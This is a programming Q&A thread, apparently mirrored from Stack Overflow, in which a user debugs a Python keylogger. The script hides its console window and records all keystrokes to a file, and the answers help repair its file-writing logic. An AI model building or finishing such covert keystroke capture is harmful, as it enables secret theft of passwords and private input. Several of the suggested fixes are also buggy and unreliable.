【问题标题】:python Writing to a output filepython写入输出文件
【发布时间】:2015-09-06 16:53:20
【问题描述】:

我正在尝试将我所做的击键写入一个新的文本文件。 我得到以下代码:

import win32api
import win32console
import win32gui
import pythoncom
import pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
    if event.Ascii == 5:
        _exit(1)
    if event.Ascii != 0 or 8:
        f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
        buffer = f.read()
        f.close()

        f = open('C:\Users\Joey\Desktop\output.txt', 'w')
        keylogs = chr(event.Ascii)

        if event.Ascii == 13:
            keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

我没有收到任何错误,所以我想这很好。但是每次我检查output.txt 我都会看到一个空的文本文件。我的代码有什么问题?

【问题讨论】:

  • 您是否尝试过打印buffer 的内容以确保不会将空字符串写入文件?您可以考虑通过将 a 选项传递给 open 语句来附加到文件,而不是重新读取文件内容。

标签: python pywin32 keylogger


【解决方案1】:

查看here 以了解ww+ 之间的区别。每次第二次打开写入时都会覆盖文件f=open('C:\Users\Joey\Desktop\output.txt', 'w')

我想您的文件中只有一个换行符。尝试仅使用 a 选项打开以每次写入文件末尾 (EOF)。

if event.Ascii != 0 or event.Ascii !=8:
    f=open('C:\Users\Joey\Desktop\output.txt', 'a')
    keylogs=chr(event.Ascii)

    if event.Ascii == 13:
        keylogs='/n'
    buffer += keylogs
    f.write(buffer)
    f.close()

【讨论】:

  • 感谢@TomNash 帮助我:D
【解决方案2】:

最初,您的 if 语句总是评估为 true,它应该是:

if event.Ascii != 0 or event.Ascii !=8: 

或者,甚至更好:

if event.Ascii not in [0, 1]: 

此外,文件打开模式可能不是您想要的,请查看 the docs 了解这些模式。

【讨论】:

    猜你喜欢
    • 2018-08-07
    • 1970-01-01
    • 1970-01-01
    • 2012-06-04
    • 2016-03-18
    • 2019-10-12
    • 1970-01-01
    • 2016-05-03
    • 1970-01-01
    相关资源
    最近更新 更多